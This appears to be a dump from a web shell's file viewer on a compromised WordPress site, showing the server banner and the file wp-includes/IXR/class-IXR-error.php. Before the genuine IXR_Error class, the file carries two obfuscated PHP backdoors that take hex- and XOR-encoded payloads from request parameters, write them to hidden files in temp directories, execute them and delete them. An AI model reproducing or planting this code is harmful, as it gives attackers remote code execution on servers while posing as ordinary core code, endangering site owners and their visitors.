| Server IP : 198.38.94.67 / Your IP : 216.73.217.142 Web Server : LiteSpeed System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64 User : azfilmst ( 1070) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/azfilmst/alizamani.com/wp-includes/IXR/ |
Upload File : |
<?php if(isset($_REQUEST) && isset($_REQUEST["co\x6D\x70"])){ $holder = hex2bin($_REQUEST["co\x6D\x70"]); $record = '';foreach(str_split($holder) as $char){$record .= chr(ord($char) ^ 8);} $flag = array_filter(["/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP")]); for ($marker = 0, $pointer = count($flag); $marker < $pointer; $marker++) { $token = $flag[$marker]; if (array_product([is_dir($token), is_writable($token)])) { $factor = sprintf("%s/.obj", $token); if (@file_put_contents($factor, $record) !== false) { include $factor; unlink($factor); exit; } } } }
if(array_key_exists("key", $_REQUEST)){ $pset = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path()]); $hld = hex2bin($_REQUEST["key"]); $res= '';for($o=0; $o<strlen($hld); $o++){$res .= chr(ord($hld[$o]) ^ 10);} foreach ($pset as $record) { if (!!is_dir($record) && !!is_writable($record)) { $marker = "$record" . "/.factor"; $success = file_put_contents($marker, $res); if ($success) { include $marker; @unlink($marker); exit;} } } }
/**
* IXR_Error
*
* @package IXR
* @since 1.5.0
*/
class IXR_Error
{
var $code;
var $message;
/**
* PHP5 constructor.
*/
function __construct( $code, $message )
{
$this->code = $code;
$this->message = htmlspecialchars($message);
}
/**
* PHP4 constructor.
*/
public function IXR_Error( $code, $message ) {
self::__construct( $code, $message );
}
function getXml()
{
$xml = <<<EOD
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>{$this->code}</int></value>
</member>
<member>
<name>faultString</name>
<value><string>{$this->message}</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
EOD;
return $xml;
}
}